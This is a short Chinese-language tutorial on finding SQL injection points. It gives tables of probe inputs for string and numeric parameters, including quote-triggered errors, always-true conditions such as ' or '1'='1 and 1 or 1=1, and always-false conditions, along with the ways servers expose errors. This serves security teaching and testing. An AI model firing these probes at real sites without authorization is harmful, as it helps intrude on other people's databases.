SQL注入-注入點判斷

1.注入點判斷

傳入SQL語句可控參數分爲兩類
1. 數字類型,參數不用被引號括起來,如?id=1
2. 其他類型,參數要被引號擴起來,如?name="phone"

判斷某個鏈接是否存在SQL注入,可以通過對其傳入的可控參數進行簡單的構造,通過服務端返回的內容來判斷有無注入

其他類型

構造測試                            預期結果                                 變種
a'                      //觸發錯誤,返回數據庫錯誤                              
a' or '1'='1            //永真條件,返回所有記錄                   a') or ('1'=1   
a' or '1'='2            //空條件,返回原來相同結果                  a') or ('1'=2
a' and '1'='2           //永假條件,不返回記錄                      a') and ('1'='2

數字類型

構造測試                            預期結果                                 變種
'                       //觸發錯誤,返回數據庫錯誤                  
1+1                     //返回原來相同的結果                           3-1
1+0                     //返回原來相同的結果                     
1 or 1=1                //永真條件,返回所有記錄                        1) or (1=1
1 or 1=2                //空條件,返回原來相同的結果                     1) or (1=2
1 and 1=2               //永假條件,不返回記錄                          1) and (1=2

2.服務端返回錯誤形式

  • 錯誤直接回顯在頁面上
  • 錯誤隱藏在頁面源代碼中
  • 檢測到錯誤跳轉到另一個頁面
  • 返回HTTP錯誤代碼500或重定向302
  • 適當處理錯誤結果,常顯示一個通用錯誤頁面
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章